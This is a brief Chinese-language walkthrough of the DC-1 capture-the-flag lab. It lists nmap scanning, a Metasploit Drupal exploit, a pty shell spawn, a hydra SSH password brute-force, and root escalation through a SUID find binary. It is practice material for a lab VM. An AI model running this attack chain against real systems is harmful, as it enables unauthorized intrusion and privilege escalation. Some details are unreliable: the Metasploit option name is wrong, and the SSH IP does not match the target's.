PS:快速通关,没有找flag,只获取了root权限
kali和dc1都使用net模式
kali的ip:192.168.219.129
靶机的ip:192.168.219.145
1.扫描网段
进行快速半开扫描,靶机一般是开启了80,22端口的。
nmap -sS -T4 192.168.219.0/24
2.查看ip的80端口内容
使用火狐浏览器的Wappalyzer工具可以直接看到内核,操作系统和编程语言。(没有火狐的可以直接看网页最下面也提示了drupal)
3.使用msfconsole
msfconsole //启动
search drupal //搜索drupal的漏洞
4.漏洞利用
use 1 //使用第二个漏洞(从0开始排列所以第二个的编号是1)
options //查看详细信息,发现只有对方主机ip没有设置
set lhosts 192.168.219.145 //设置ip
run //检查无误后运行
5.查看passwd发现一个名为flag4的用户,可以尝试密码爆破
shell //打开shell
python -c "import pty;pty.spawn('/bin/bash')" //开启交互(需要有python环境)
cat /etc/passwd //查看敏感目录
6.使用hydra爆破ssh连接密码,爆破出密码为orange
hydra -l flag4 -P top1000.txt ssh://192.168.219.145
7.使用ssh连接,寻找拥有suid权限的文件
ssh flag4@192.168.129.145
输入密码:orange
find / -perm -4000 -type f 2>/dev/null //寻找拥有suid权限的普通文件并将错误重定向到null
8.提权,查看find命令的suid权限是root的,可以使用find提权
ls -l /usr/bin/find
find / -exec "/bin/sh" \;
获取到root权限就想干嘛就干嘛了,剩下的flag在网页,数据库里的可以自己找找啦